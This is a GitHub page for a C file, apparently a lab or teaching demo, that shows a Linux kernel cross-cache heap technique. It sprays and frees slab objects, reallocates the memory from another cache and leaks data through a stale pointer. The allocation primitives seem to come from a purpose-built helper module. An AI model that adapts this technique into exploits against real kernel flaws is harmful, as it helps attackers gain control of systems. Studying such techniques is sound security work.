-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathcross_cache.c
73 lines (56 loc) · 1.84 KB
/
cross_cache.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include "libs/pwn.h"
#include <stdlib.h>
#include <string.h>
#include <strings.h>
/*******************************
* EXPLOIT *
*******************************/
#define CC_OVERFLOW_FACTOR 5
#define VICTIM_CHUNKS(cur) \
(cur->objs_per_slab * (cur->cpu_partial + 1) * CC_OVERFLOW_FACTOR)
#define TARGET_SIZE 0x100
#define TARGET_CHUNKS 0x800
int main(int argc, char *argv[]) {
char *buf = cyclic(TARGET_SIZE);
size_t generic_cache_size;
void *victim_ptr;
void *target_chunks[TARGET_CHUNKS] = {0};
generic_cache_size = argc < 2 ? 16 : strtol(argv[1], 0, 10);
CHK(generic_cache_size <= 256);
set_current_slab_info(generic_cache_size);
char leak[cur->size];
bzero(leak, sizeof(leak));
void *victim_chunks[VICTIM_CHUNKS(cur)];
lstage("INIT");
init();
pin_cpu(0, 0);
lstage("START");
linfo("fill old victim slabs");
// fill at least on slab
for (int i = 0; i < VICTIM_CHUNKS(cur); ++i) {
victim_chunks[i] = keap_malloc(cur->size, GFP_KERNEL_ACCOUNT);
// clear victim chunks
keap_write(victim_chunks[i], leak, cur->size);
if (i == (VICTIM_CHUNKS(cur) / 8) * 7)
victim_ptr = victim_chunks[i];
}
// free slab in order to get cross cache
linfo("free victim slabs");
for (int i = 0; i < VICTIM_CHUNKS(cur); ++i) {
keap_free(victim_chunks[i]);
}
linfo("fill target slabs");
for (int i = 0; i < TARGET_CHUNKS; ++i) {
target_chunks[i] = keap_malloc(TARGET_SIZE, GFP_KERNEL);
keap_write(target_chunks[i], buf, TARGET_SIZE);
}
linfo("uaf and cross-cache leak");
// UAF in victim ptr leak
keap_read(victim_ptr, leak, cur->size - 1);
linfo("leak: %.8s", leak);
for (int i = 0; i < TARGET_CHUNKS; ++i) {
keap_free(target_chunks[i]);
}
free(buf);
return strcmp("", leak) == 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}